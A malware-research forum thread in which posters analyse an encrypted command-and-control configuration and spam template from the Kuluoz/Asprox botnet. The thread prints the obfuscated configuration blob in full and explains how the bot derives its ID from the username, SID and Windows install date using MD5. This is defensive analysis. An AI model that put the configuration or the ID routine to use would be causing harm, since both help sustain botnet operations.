.xs~m~ww~,+ll[k~tkw~kx5xtv.xs~m~ww~,*[}ituor~iu~o5u~o.xs~m~ww~,*D+.[bzstt5xtv.xs~m~ww~,*h|[bzstt5xt
v.xs~m~ww~,*ostv[bzstt5xtv.xs~m~ww~,)*[m~iratu5u~o.xs~m~ww~,)("-[bzstt5xtv.xs~m~ww~,)[lbzu5ti|.xs~m
~ww~,)szw~[ztw5xtv.xs~m~ww~,(#/[bzstt5xtv.xs~m~ww~,/*[xtvxzho5u~o.xs~m~ww~,.D.[stovzrw5xtv.xs~m~ww~
,,)[ztw5xtv.xs~m~ww~,#/[qnut5xtv.xs~m~ww~,#[stovzrw5xtv.xs~m~ww~,[xszio~i5u~o.xs~m~ww~,.)[bzstt5xtv
.xs~m~ww~#+#[bzstt5xtv.xs~m~ww~#*.,+[ztw5xtv.xs~m~ww~#(,[bzstt5xtv.xs~m~ww~#.+"[hyx|wtyzw5u~o.xs~m~
ww~#.".[bzstt5xtv.xs~m~ww~##*[bzstt5xtv.xs~m~ww~"*[ztw5xtv.xs~m~ww~"*[xtvxzho5u~o.xs~m~ww~".#.,[bzs
tt5xtv.xs~m~ww~".#[bzstt5xtv.xs~m~ww~",+[stovzrw5xtv.xs~m~ww~[zkn5~.n.xs~m~ww~[zowzuorxyy5u~o.xs~m~
ww~[ywn~}it|5xtv.xs~m~ww~[ybo~s~z.5xtv.xs~m~ww~[xmx5u~o.xs~m~ww~[}wtt.xrob5u~o.xs~m~ww~[|vzrw5xtv.x
s~m~ww~[|i~zowzp~h5u~o.xs~m~ww~[sn|s~h5u~o.xs~m~ww~[worh5u~o.xs~m~ww~[u~or.~z5xtv.xs~m~ww~[uo~wth5u
~o.xs~m~ww~[tu~yz.zhhxs~mb5xtv.xs~m~ww~[ku|nhz5u~o.xs~m~ww~[hrt5vr.xt5u~o.xs~m~ww~[hio5xtv.xs~m~ww~
[m~wtxrob5u~o.xs~m~ww~[bzstt5xtv.xs~m~ww~D+**+[bzstt5xtv.xs~m~ww~D*.-[bzstt5xtv.xs~m~ww~D*"))[stovz
rw5xtv.xs~m~ww~D*"-")++)[bzstt5xtv.xs~m~ww~D*"-"Dhh[bzstt5xtv.xs~m~ww~D*",+*[bzstt5xtv.xs~m~ww~D)([
stovzrw5xtv.xs~m~ww~D)#([bzstt5xtv.xs~m~ww~D).[stovzrw5xtv.xs~m~ww~D([vhu5xtv.xs~m~ww~D/./Dhh[stovz
rw5xtv.xs~m~ww~D/-#)+++[bzstt5xtv.xs~m~ww~D/-#Dhh[bzstt5xtv.xs~m~ww~D./[bzstt5xtv.xs~m~ww~D-#D)..[v
hu5xtv.xs~m~ww~D-"**[stovzrw5xtv.xs~m~ww~D-"D*"."[bzstt5xtv.xs~m~ww~D-D,[bzstt5xtv.xs~m~ww~D,,[stov
zrw5xtv.xs~m~ww~D#-[stovzrw5xtv.xs~m~ww~Dzu|~w*[bzstt5xtv.xs~m~ww~Dyz.|riw[bzstt5xtv.xs~m~ww~Dyt[bz
stt5xtv.xs~m~ww~Dxz.t[stovzrw5xtv.xs~m~ww~D.p[bzstt5xtv.xs~m~ww~D.i~zvh[bzstt5xtv.xs~m~ww~D|vDktl~i
h[bzstt5xtv.xs~m~ww~D|nb*#[bzstt5xtv.xs~m~ww~D|nb*"-/[bzstt5xtv.xs~m~ww~Dszw~[hyx|wtyzw5u~o.xs~m~ww
~Dq/-[bzstt5xtv.xs~m~ww~Dwtm~i,)[bzstt5xtv.xs~m~ww~Dvzuxzir[vw5xtv.xs~m~ww~Dvtiirh[bzstt5xtv.xs~m~w
w~Dkw}*""*[bzstt5xtv.xs~m~ww~Dity~ioD("-[bzstt5xtv.xs~m~ww~DitxpaD#*#[bzstt5xtv.xs~m~ww~Dhrvkhtu[bz
stt5xtv.xs~m~ww~Dhrvkhtu[btstt5xtv.xs~m~ww~DhhD/./D,+[bzstt5xtv.xs~m~ww~DhhD#.[bzstt5xtv.xs~m~ww~Dh
oziD/D)++.[bzstt5xtv.xs~m~ww~Dhnk~ihktioD,+[bzstt5xtv.xs~m~ww~Dos~Dxzi[stovzrw5xtv.xs~m~ww~Dostvzh[
hyx|wtyzw5u~o.xs~m~ww~z.zv[bzstt5xtv.xs~m~ww~zp[ztw5xtv.xs~m~ww~zu|~w#)[ztw5xtv.xs~m~ww~zuu*+[bzstt
5xtv.xs~m~ww~znhoizwrzywn~[bzstt5xtv.xs~m~ww~y/./[ztw5xtv.xs~m~ww~y~u[bzstt5xtv.xs~m~ww~y~uhtu[}itu
or~iu~o5u~o.xs~m~ww~y}*[xtvxzho5u~o.xs~m~ww~yttu~*[bzstt5xtv.xs~m~ww~yttu~[bzstt5xtv.xs~m~ww~yitlu(
#)+++[bzstt5xtv.xs~m~ww~yitlu#"-,[bzstt5xtv.xs~m~ww~yinx~[ywn~btu.~i5xt5np.xs~m~ww~xzvrut[xh5xtv.xs
~m~ww~xs~hhtu[bzstt5xtv.xs~m~ww~xsrx-"[bzstt5xtv.xs~m~ww~xsrxD*",)nh[vzrw5xtv.xs~m~ww~xsrxp#)[bzstt
5xtv.xs~m~ww~xsrpzD-"[bzstt5xtv.xs~m~ww~xsirhovzh[bzstt5xtv.xs~m~ww~xwzip[hyx|wtyzw5u~o.xs~m~ww~xtn
|zi[bzstt5xtv.xs~m~ww~.zux~[bzstt5xtv.xs~m~ww~.iz|izx~[xtc5u~o.xs~m~ww~.iz|ho~i-"[bzstt5xtv.xs~m~ww
~.irm~i*",)[bzstt5xtv.xs~m~ww~~wwrh[bzstt5xtv.xs~m~ww~~v~ib[vhu5xtv.xs~m~ww~}.,)[~zioswrup5u~o.xs~m
~ww~}--[bzstt5xtv.xs~m~ww~}zv[hyx|wtyzw5u~.xs~m~ww~}zv[hyx|wtyzw5u~o.xs~m~ww~}zu[xtvxzho5u~o.xs~m~w
w~}zuho~iwru|[bzstt5xtv.xs~m~ww~}znwph-/[bzstt5xtv.xs~m~ww~}rww[stovzrw5xtv.xs~m~ww~}ruwzbhtu[bzstt
5xtv.xs~m~ww~}rc~iytb[bzstt5xtv.xs~m~ww~}ti.,[ztw5xtv.xs~m~ww~}tc,*,[bzstt5xtv.xs~m~ww~}i~zp(/"[bzs
tt5xtv.xs~m~ww~}i~zp/+[stovzrw5xtv.xs~m~ww~|..hh[bzstt5xtv.xs~m~ww~|rww~hkr~[bzstt5xtv.xs~m~ww~|riw
***[xtvxzho5u~o.xs~m~ww~|riwu*[xtc5u~o.xs~m~ww~|iw**[bzstt5xtv.xs~m~ww~|n~iiz[bzstt5xtv.xs~m~ww~|nb
*+[hyx|wtyzw5u~o.xs~m~ww~|nb*"--[xtc5u~o.xs~m~ww~|nb*"-"[stovzrw5xtv.xs~m~ww~|nb*",*[bzstt5xtv.xs~m
~ww~|nb(#([stovzrw5xtv.xs~m~ww~|nb-)[bzstt5xtv.xs~m~ww~s~z.,+[ztw5xtv.xs~m~ww~s~||h[ztw5xtv.xs~m~ww
~stoit.*"#*[bzstt5xtv.xs~m~ww~stoit.--[bzstt5xtv.xs~m~ww~stoor~/n[ztw5xtv.xs~m~ww~stlzi.[ztw5xtv.xs
~m~ww~snuo~i*))#,[bzstt5xtv.xs~m~ww~ru*)h[bzstt5xtv.xs~m~ww~rux/*#)[bzstt5xtv.xs~m~ww~rtlzhh[ztw5xt
v.xs~m~ww~q.o[ztw5xtv.xs~m~ww~qrvvb//[bzstt5xtv.xs~m~ww~quq,)[tkotuwru~5u~o.xs~m~ww~quq,)[tkotuwru~
5uwh5xtv.xs~m~ww~qt~w-#[bzstt5xtv.xs~m~ww~qtu~h[bzstt5xtv.xs~m~ww~pr.*"-.[bzstt5xtv.xs~m~ww~pr./)+[
u~ohxzk~5u~o.xs~m~ww~pru|*",+[stovzrw5xtv.xs~m~ww~pur|so[ztw5xtv.xs~m~ww~wz.b*[stovzrw5xtv.xs~m~ww~
wz.b[xtvxzho5u~o.xs~m~ww~wzuz~[ztw5xtv.xs~m~ww~wzhhzr(#[bzstt5xtv.xs~m~ww~wzb[xtvxzho5u~o.xs~m~ww~w
roow~[bzstt5xtv.xs~m~ww~wtm~i*.[bzstt5xtv.xs~m~ww~wtm~i/./[~zioswrup5u~o.xs~m~ww~wtm~iv~)[bzstt5xtv
.xs~m~ww~wk//[ztw5xtv.xs~m~ww~wh-*",*[bzzstt5xtv.xs~m~ww~wh-*",*[bzstt5xtv.xs~m~ww~wh-)++)[bzstt5xt
v.xs~m~ww~wnm~i+,+.#.[bzstt5xtv.xs~m~ww~wnmi#,[ztw5xtv.xs~m~ww~v[xtvxzho5u~o.xs~m~ww~vzwryn*",/[wrm
~5xtv.xs~m~ww~vzu*+[stovzrw5xtv.xs~m~ww~vzu**h~x[ztw5xtv.xs~m~ww~vzu*"/#[ztw5xtv.xs~m~ww~vzu*[ztw5x
tv.xs~m~ww~vzu(*[yir|sotp5u~o.xs~m~ww~vzu/)+[ztw5xtv.xs~m~ww~vzu--[bzstt5xtv.xs~m~ww~vzu-",)[bzst5x
tv.xs~m~ww~vzu-",)[bzstt5xtv.xs~m~ww~vzu-"[stovzrw5xtv.xs~m~ww~vzu,+[ztw5xtv.xs~m~ww~vzu,[bzstt5xtv
.xs~m~ww~vzu##[stovzrw5xtv.xs~m~ww~vrww~i[bzstt5xtv.xs~m~ww~vtv*[ztw5xtv.xs~m~ww~vtvvz[ztw5xtv.xs~m
~ww~vtkli[ztw5xtv.xs~m~ww~vthh[bzstt5xtv.xs~m~ww~u*[oxtuw5xtv.xs~m~ww~u[bzstt5xtv.xs~m~ww~uutmz[bzs
tt5xtv.xs~m~ww~utmz[bzstt5xtv.xs~m~ww~uno+.[bzstt5xtv.xs~m~ww~uno/./[ztw5xtv.xs~m~ww~uno-#[m~iratu5
u~o.xs~m~ww~uno,+[bzstt5xtv.xs~m~ww~uno,)[vhu5xtv.xs~m~ww~uno[zoo5u~o.xs~m~ww~uno[lru.hoi~zv5u~o.xs
~m~ww~tstwrx[bzstt5xtv.xs~m~ww~tiz[stovzrw5xtv.xs~m~ww~kziz.rh~[bzstt5xtv.xs~m~ww~kzoo~ihtu[bzstt5x
tv.xs~m~ww~kzbu~[bzstt5xtv.xs~m~ww~k~o~ih,/[bzstt5xtv.xs~m~ww~kwnh[xh5xtv.xs~m~ww~ktl~ixx[ztw5xtv.x
s~m~ww~khbxst[bzstt5xtv.xs~m~ww~i-")++([bzstt5xtv.xs~m~ww~i[wbxth5xtv.xs~m~ww~izxs~ww~[stovzrw5xtv.
xs~m~ww~izhy~iib[bzstt5xtv.xs~m~ww~izo("-[stovzrw5xtv.xs~m~ww~izb[bzstt5xtv.xs~m~ww~itxph[bzstt5xtv
.xs~m~ww~ihD.zpr.~h[stovzrw5xtv.xs~m~ww~inwapws[ztw5xtv.xs~m~ww~inhh[bzstt5xtv.xs~m~ww~h[izaatwrup5
xtv.xs~m~ww~hx--[stovzrw5xtv.xs~m~ww~hp~~o[ztw5xtv.xs~m~ww~hwzm~[|vzrw5xtv.xs~m~ww~hvtv+,[bzstt5xtv
.xs~m~ww~hvtvvb[ztw5xtv.xs~m~ww~hk~x[|vzrw5xtv.xs~m~ww~histo[hyx|wtyzw5u~o.xs~m~ww~histo[m~iratu5u~
o.xs~m~ww~hiv~[zoo5u~o.xs~m~ww~hh*[vhu5xtv.xs~m~ww~hh("-*"-#[stovzrw5xtv.xs~m~ww~hh("-*",+[stovzrw5
xtv.xs~m~ww~hh/),[xtvxzho5u~o.xs~m~ww~hh/./[u}5hbvkzorxt5xz.xs~m~ww~hh/./[ozvkzyzb5ii5xtv.xs~m~ww~h
h/"-)++"[bzstt5xtv.xs~m~ww~hh./+[hyx|wtyzw5u~o.xs~m~ww~hh-.([stovzrw5xtv.xs~m~ww~hh,*[wrm~5xtv.xs~m
~ww~hh,--([bzstt5xtv.xs~m~ww~hh[|toirxtnuob5xtv.xs~m~ww~hh[px5ii5xtv.xs~m~ww~hh[vxshr5xtv.xs~m~ww~h
hD,)[bzstt5xtv.xs~m~ww~hh|riw*",+[bzstt5xtv.xs~m~ww~hhwh-.+)[bzstt5xtv.xs~m~ww~hhwh-[vhu5xtv.xs~m~w
w~hhvzu/"-[xtvxzho5u~o.xs~m~ww~hhh,[ztw5xtv.xs~m~ww~hhhh("-[bzstt5xtv.xs~m~ww~hhlr}~[ztw5xtv.xs~m~w
w~hozii[bzstt5xtv.xs~m~ww~ho~lzio[bzstt5xtv.xs~m~ww~hnkih,*[ztw5xtv.xs~m~ww~o[v~5xtv.xs~m~ww~o[lyhu
~o5ti|.xs~m~ww~ozo~szbu~h[bzstt5xtv.xs~m~ww~ozonv[bzstt5xtv.xs~m~ww~ostvkhtu[bzstt5xtv.xs~m~ww~otbh
[zv~iro~xs5u~o.xs~m~ww~oizxp[ztw5xtv.xs~m~ww~m[stovzrw5xtv.xs~m~ww~m[bzstt5xtv.xs~m~ww~mrc~u[bzstt5
xtv.xs~m~ww~lst[lru.hoi~zv5u~o.xs~m~ww~c./[|vzrw5xtv.xs~m~ww}zoytb[xtvxzho5u~o.xs~m~wwru|yt~[xtvxzh
o5u~o.xs~m~www~*))-[ztw5xtv.xs~m~wwvzuhh,+[bzstt5xtv.xs~m~wwvzuhh[stovzrw5xtv.xs~m~wwtwwr~[bzstt5xt
v.xs~m~wwtm~,*[|vzrw5xtv.xs~m~wwktl~ww[bzstt5xtv.xs~m~wwhh-,**[m~iratu5u~o.xs~m~wwhhD-#D("-[m~iratu
5u~o.xs~m~wwostvkhtu[bzstt5xtv.xs~m~wwlrhs~v[bzstt5xtv.xs~m~wwa|iw[bzstt5xtv.xs~m~wtuxszu~w[bzstt5x
tv.xs~m~wtuxtuhoinxortu[hoziyzu.5u~o.xs~m~wtm~[bzstt5xtv.xs~m~wi[tkotuwru~5u~o.xs~m~wh[ztw5xtv.xs~m
~wlzwp,[ztw5xtv.xs~m~wb~z[bzstt5xtv.xs~m~vzzi[stovzrw5xtv.xs~m~vzvz/[|vzrw5xtv.xs~m~vzu*,[bzstt5xtv
.xs~m~vzi[stovzrw5xtv.xs~m~vx.[ztw5xtv.xs~m~u),#[zoo5u~o.xs~m~u-([stovzrw5xtv.xs~m~u[p~iu5xtv5zn.xs
~m~u.izvnizwr.szi[bzsttvzrw5xtv.xs~m~u~/.[bzstt5xtv.xs~m~u~xzvky~ww[bzstt5xtv.xs~m~u~i[x~uonibwrup5
xtv.xs~m~u~i[m~iratu5u~o.xs~m~urh~)+++[bzstt5xtv.xs~m~uwb([bzstt5xtv.xs~m~ui[x~uonibwrup5u~o.xs~m~u
in.~[bzstt5xtv.xs~m~uhtu[ru~yizhpz5xtv.xs~m~i*)([ztw5xtv.xs~m~i*"..[bzstt5xtv.xs~m~i*[ko.5u~o.xs~m~
i#+[stovzrw5xtv.xs~m~i#-/+-[bzstt5xtv.xs~m~iz5yittph[iz.zrw5xtv.xs~m~iz5yittph[iz.rtwt|rc5xtv.xs~m~
izx~i[bzstt5xtv.xs~m~iz.tyizoo[|vzrw5xtv.xs~m~iz.tyizoo[bzstt5xtv.xs~m~izw.~zxtu[bzstt5xtv.xs~m~ixs
ziwru~[bzstt5xtv.xs~m~i.z[urz|ziz5xtv.xs~m~i~*+*.[stovzrw5xtv.xs~m~i~*+.[stovzrw5xtv.xs~m~i~*+.[u~o
a~it5u~o.xs~m~i~**(+[bzstt5xtv.xs~m~i~**[m~iratu5u~o.xs~m~i~*).,[ztw5xtv.xs~m~i~*.[ztw5xtv.xs~m~i~*
".([stovzrw5xtv.xs~m~i~*"#*[stovzrw5xtv.xs~m~i~*[ztw5xtv.xs~m~i~(.,[stovzrw5xtv.xs~m~i~//[y~wwhtnos
5u~o.xs~m~i~/n[stovzrw5xtv.xs~m~i~.([stovzrw5xtv.xs~m~i~-**[ztw5xtv.xs~m~i~-"[stovzrw5xtv.xs~m~i~,*
[bzstt5xtv.xs~m~i~,[bzstt5xtv.xs~m~i~#.#/[bzstt5xtv.xs~m~i~")/[bzstt5xtv.xs~m~i~D+-.*/[bzstt5xtv.xs
~m~i~D)*[bzstt5xtv.xs~m~i~Dxziv~u[bzstt5xtv.xs~m~i~zwrx~[bzstt5xtv.xs~m~i~xsrjnr)[bzstt5xtv.xs~m~i~
.[stovzrw5xtv.xs~m~i~.~horub*+).[bzstt5xtv.xs~m~i~s~xotiw[stovzrw5xtv.xs~m~i~s~xotiw[bzstt5xtv.xs~m
~i~q[bzstt5xtv.xs~m~i~qtu[bzstt5xtv.xs~m~i~v)[.uy5xtv.xs~m~i~vzir[bzstt5xtv.xs~m~i~vnhrx[stovzrw5xt
v.xs~m~i~u|~))[stovzrw5xtv.xs~m~i~uq[stovzrw5xtv.xs~m~i~i[ztw5xtv.xs~m~i~i[tkotuwru~5u~o.xs~m~i~h)+
+/[ztw5xtv.xs~m~i~hzu5kznwz[bzstt5xtv.xs~m~i~hzuo[bzstt5xtv.xs~m~i~h}zv[}ituor~iu~o5u~o.xs~m~i~onoz
[stovzrw5xtv.xs~m~i~onbz[stovzrw5xtv.xs~m~i~a)[ztw5xtv.xs~m~i~a().[bzstt5xtv.xs~m~i~a,[ztw5xtv.xs~m
~i~a,[y~wwhtnos5u~o.xs~m~i~a,[hkiruo5ywzxpy~iib5u~o.xs~m~i~axziv~u[bzstt5xtv.xs~m~i|~[bzstt5xtv.xs~
m~iszio[xtvxzho5u~o.xs~m~ir~++[xtvxzho5u~o.xs~m~ir~+*[xtvxzho5u~o.xs~m~ir~)*[bzstt5xtv.xs~m~ir~.,[s
tovzrw5xtv.xs~m~ir~.#*)[|vzrw5xtv.xs~m~ir~[ztw5xtv.xs~m~ir~[nh5szuqru5xtv.xs~m~irw[stovzrw5xtv.xs~m
~irhr[bzstt5xtv.xs~m~irhrvz-**[ztw5xtv.xs~m~irhrvzmzww~uzo~zu.t[stovzrw5xtv.xs~m~iroo[hyx|wtyzw5u~o
.xs~m~iw~o*[bzstt5xt.xs~m~iw~o*[bzstt5xtv.xs~m~iwru|[bzstt5xtv.xs~m~iww~itcitxp[bzstt5xtv.xs~m~iwb*
[vhu5xtv.xs~m~iwb([stovzrw5xtv.xs~m~iwb,)+[bzstt5xtv.xs~m~iwb[.tohozu.zi.h5xtv.xs~m~iwb[~zioswrup5u
~o.xs~m~iwb[~hx*,5u~o.xs~m~ivz[ztw5xtv.xs~m~ivzixnh[bzstt5xtv.xs~m~iv~oo~[vbhvokvzrw5xtv.xs~m~iu[y~
wwhtnos5u~o.xs~m~itw~o*+)*[ztw5xtv.xs~m~itw~o*+/"[bzstt5xtv.xs~m~itw~oo~[bzst5xtv.xs~m~itw~oo~[bzst
t5xtv.xs~m~itu[~zioswrup5u~o.xs~m~ituqrv[bzstt5xtv.xs~m~ituvtu[ztw5xtv.xs~m~ituh*[stovzrw5xtv.xs~m~
ituh[stovzrw5xtv.xs~m~ikv[bzstt5xtv.xs~m~iixt[bzstt5xtv.xs~m~iirz.[ztw5xtv.xs~m~ihtu[xszio~i5u~o.xs
~m~iotuk~ihz.[stovzrw5xtv.xs~m~iott[bzstt5xtv.xs~m~inh*"+)[bzstt5xtv.xs~m~inhpr[bzstt5xtv.xs~m~iar[
.tohozu.zi.h5xtv.xs~m~h5btnu|vtu~b[|vzrw5xtv.xs~m~h/[|mox5xtv.xs~m~h.#[bzstt5xtv.xs~m~h[qnut5xtv.xs
~m~hD|zw[bzstt5xtv.xs~m~hyrww[zoo5u~o.xs~m~h.toszo[bzstt5xtv.xs~m~h~}ziizi[bzstt5xtv.xs~m~h~qtu~h[b
zstt5xtv.xs~m~hs~.hpb[vbhvokvzrw5xtv.xs~m~hp[xszio~i5u~o.xs~m~hw[bzstt5xtv.xs~m~hv[bzstt5xtv.xs~m~h
vrww~i[bzstt5xtv.xs~m~hi[xszio~i5u~o.xs~m~hinw~[ztw5xtv.xs~m~hh~wwz[vbhvokvzrw5xtv.xs~m~hh~b[.tohoz
u.zi.h5xtv.xs~m~o[y~wwhtnos5u~o.xs~m~o.zur~w[ztw5xtv.xs~m~o~-/[stovzrw5xtv.xs~m~o~xs[bzstt5xtv.xs~m
~o~~.~[stovzrw5xtv.xs~m~o~izu[bzstt5xtv.xs~m~o~i~[.tohozu.zi.h5xtv.xs~m~ooz5vziih[u}v5xtv.xs~m~ooz*
"#,[bzstt5xtv.xs~m~oozww~u[xtvxzho5u~o.xs~m~oo..[stovzrw5xtv.xs~m~oo.ttk[stovzrw5xtv.xs~m~oo~5hoziu
~h[ruhr|soyy5xtv.xs~m~oo~+,[bzstt5xtv.xs~m~oo~)++([stovzrw5xtv.xs~m~oo~))##[bzstt5xtv.xs~m~oo~)[bzs
tt5xtv.xs~m~oo~.+[ztw5xtv.xs~m~oo~--[stovzrw5xtv.xs~m~oo~#,[u~oa~it5xtv.xs~m~oo~[vb}zriktruo5u~o.xs
~m~oo~Dyri|zuh[vw5xtv.xs~m~oo~Dvzho~i[stovzrw5xtv.xs~m~oo~Dhozii[stovzrw5xtv.xs~m~oo~za[xtvxzho5u~o
.xs~m~oo~yniitlh[stovzrw5xtv.xs~m~oo~|izb--[bzstt5xtv.xs~m~oo~stiu[bzstt5xtv.xs~m~oo~snuo[bzstt5xtv
.xs~m~oo~w|zo~ltt.[bzstt5xtv.xs~m~oo~wtmrhtu~[bzstt5xtv.xs~m~oo~wnm~i/)+*#[bzstt5xtv.xs~m~oo~vzu*"#
+[bzstt5xtv.xs~m~oo~vzu[y~wwhtnos5u~o.xs~m~oo~vzu[bzstt5xtv.xs~m~oo~vzu[bzstt5xit5u~o.xs~m~oo~vzb[x
tvxzho5u~o.xs~m~oo~vuzu*"#+[bzstt5xtv.xs~m~oo~l[hyx|wtyzw5u~o.xs~m~oo~lrw[stovzrw5xtv.xs~m~n.~}~n,"
[stovzrw5xtv.xs~m~n.~}~n,"[bzstt5xtv.xs~m~nc[rtlzo~w~xtv5u~o.xs~m~nchzwzuhkz[bzstt5xtv.xs~m~mzw[xs~
m~mzw5psm5in.xs~m~b*+[ztw5xtv.xs~m~b*"#.[bzstt5xtv.xs~m~b/c/#,[|vh5ztw5xtv.xs~m~b.,yl[rowu~o5u~o.xs
~m~b#")++([bzstt5xtv.xs~m~bD#([stovzrw5xtv.xs~m~bDytbD)++*[stovzrw5xtv.xs~m~bDxiza~~[bzstt5xtv.xs~m
~bDvzu*(-"[bzstt5xtv.xs~m~bDvzu-([bzstt5xtv.xs~m~bzu|~w-"[vhu5xtv.xs~m~bxzkirx~[ovzrw5xtv.xs~m~bxsr
xp+"[|vh5ztw5xtv.xs~m~b|zwqi}zu[bzstt5xtv.xs~m~b|zwqi}zu[bzstt5xttv.xs~m~b|riw*"##[bzstt5xtv.xs~m~b
|riw)++([bzstt5xtv.xs~m~b|nb)+[bzstt5xtv.xs~m~bqi+/[stovzrw5xtv.xs~m~bwtm~i[bzstt5xtv.xs~m~bwnvruz[
stovzrw5xtv.xs~m~bwnm[xtvxzho5u~o.xs~m~bvzu*",([bzstt5xtv.xs~m~bvzu)++#[bzstt5xtv.xs~m~bvzu,([bzstt
5xtv.xs~m~bt*",,[bzstt5xtv.xs~m~bt,*[|vzrw5xtv.xs~m~bt[xsrw.i~ut}os~hp~w~otuoi~~h5xtv.xs~m~btDrzv[b
zstt5xtv.xs~m~bkrxpnkvzu[bzstt5xtv.xs~m~bh~b[vbhvokvzrw5xtv.xs~m~boinxp|riw[bzstt5xtv.xs~m~bmzu./[b
zstt5xtv.xs~m~bltvzu+,[bzstt5xtv.xs~m~ba,*[ztw5xtv.xs~m~baD|riwD/c/[bzstt5xtv.xs~m~a5x~.rwwt[zoo5u~
o.xs~m~a5x~hzi[bzstt5xtv.xs~m~a5.zmrh[o~w.in|5xtv.xs~m~a5u~whtu[rltu5xtv.xs~m~a+,[bzstt5xtv.xs~m~a(
+.[stovzrw5xtv.xs~m~a.[tkotuwru~5u~o.xs~m~aD+,[stovzrw5xtv.xs~m~aD,,[bzstt5xtv.xs~m~aDpziwz[bzstt5x
tv.xs~m~aDu[bzstt5xtv.xs~m~azv[ztw5xtv.xs~m~ax~.rwwt[bzstt5xtv.xs~m~a}zv[~zioswrup5u~o.xs~m~a}wti~h
[ztw5xtv.xs~m~ar[slp6tw.~uyni|5.~.xs~m~aqi5ozaa[bzstt5xtv.xs~m~av~u.t[stovzrw5xtv.xs~m~ai[}zyo~czh5
xtv.xs~m~ai[vhu5xtv.xs~m~alsro~[vblzb5xtv.xs~m}zv-([bzstt5xtv.xs~m}zv#+[bzstt5xtv.xs~m}ru~-"[bzstt5
xtv.xs~m}wti~h[ztw5xtv.xs~m}ti.##"*[ztw5xtv.xs~m}ti.D,+[vhu5xtv.xs~m}tivzu[ztw5xtv.xs~m}titoz[ztw5x
tv.xs~m}ip,"[bzstt5xtv.xs~m}hst[bzstt5xtv.xs~m|zw/*(/.-[bzstt5xtv.xs~m|zw/*(.-[bzstt5xtv.xs~m|zw-#[
ztw5xtv.xs~m|zw[y~wwhtnos5u~o.xs~m|zwD*",#[bzstt5xtv.xs~m|zuz[zym5y|.xs~m|riw*"[ztw5xtv.xs~m|riw)++
*[bzstt5xz.xs~m|riw(+(+[bzstt5xtv.xs~m|riw-,hkru[bzstt5xtv.xs~m|riw-"""[bzstt5xtv.xs~m|riw,.[stovzr
w5xtv.xs~m|riw#)[stovzrw5xtv.xs~m|riwr~+)[ztw5xtv.xs~m|vx-[ztw5xtv.xs~m|t.y~~[|vzrw5xtv.xs~m|tw}[zt
w5xtv.xs~m|iw(+[ztw5xtv.xs~m|iwa)/[stovzrw5xtv.xs~m|niw(..[ztw5xtv.xs~m|niw([bzstt5xtv.xs~m|nb/#[bz

           I MUST SNIPPED THIS, COULDN'T POST THIS ALL.... - UNIXFREAXJP -
                       full data in http://pastebin.com/raw.php?i=MfwDnAMt

 rww~.unrjhnozwzhpz.|izbwru|.ot|rzp.uzkzhprzp.|r|sziyti.jn~~uxi~~p.xittp~.xi~~p.vtuo~hzut.onuononwrz
 p.xttwr.|~.'4wt|ru%.'uzv~%.UTIOTU._NISZV.^HKRUTAZ.Q^UURU\H.\I^^I.SZIK^I.LTW]^.VTIIRH.SZSU.SN]].HZWZ
 H._ZW^.P^UU^_B.\ZI_U^I.XITHYB.\ZWWTLZB.INHHT.MZW^UORU^.HL^^O.IZHVNHH^U.'4uzv~%.'hniuzv~%.PWRU^.IT_\
 ^IH.SB_^.]WTB_.SZIO.XZIWHTU.HXTOO.\I^^U^.TWRM^I.X^IMZUO^H.KZOO^IHTU.XZUON.HOTP^H.]RHS^I._NISZV.Y^UO
 W^B.Q^UPRUH.KS^WKH.]W^OXS^I.I^B^H.'4hniuzv~%.'4ywtxp%
--1BEF0A57BE110FD467A--
Additional: The above code is matched to research posted by M86, is an encrypted CnC info + SpamBot template:
http://labs.m86security.com/2010/06/the ... esurrects/
 #20031  by eCr
 Tue Jul 09, 2013 7:06 pm
unixfreaxjp wrote:Could someone please tell me what this new codes (see the marked part only) is all about??
Image
We should crack the logic to reverse those code:
Code: Select all
8920D0313952D7FFC480B759
into the below template, it must be the private network used by this moronz, they changed this..
Code: Select all
&ips=192.168.000.xxx
This info will help to stop this created botnet. With many thank's in advance!
1. GetUserNameA -> UserName
2. LookupAccountNameA for UserName -> SID
3. Get "InstallDate" from "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" -> InstallDate
4. Buffer = SID + InstallDate + UserName
5. MD5(Buffer)
Result: 5F1616138920D0313952D7FFC480B759

5F161613 it's first part of MD5
 #20032  by unixfreaxjp
 Wed Jul 10, 2013 12:36 am
Additional: The above code is matched to research posted by M86, is an encrypted CnC info + SpamBot template:
With the team work & help of our friends, "finally" found a way & decrypting the config.
The result is attached. Is for the share purpose to fellow researchers in KM.
Lord above is watching us.

// These information are research result
// which is shared mainly for supporting the dismantling effort purpose
// of any authority, LE and Researchers as verdict or verdict references.
// We provide information for the research purpose in understanding -
// Kuluoz /Asprox botnet for security researchers.

#MalwareMustDie!
Attachments
(117.89 KiB) Downloaded 60 times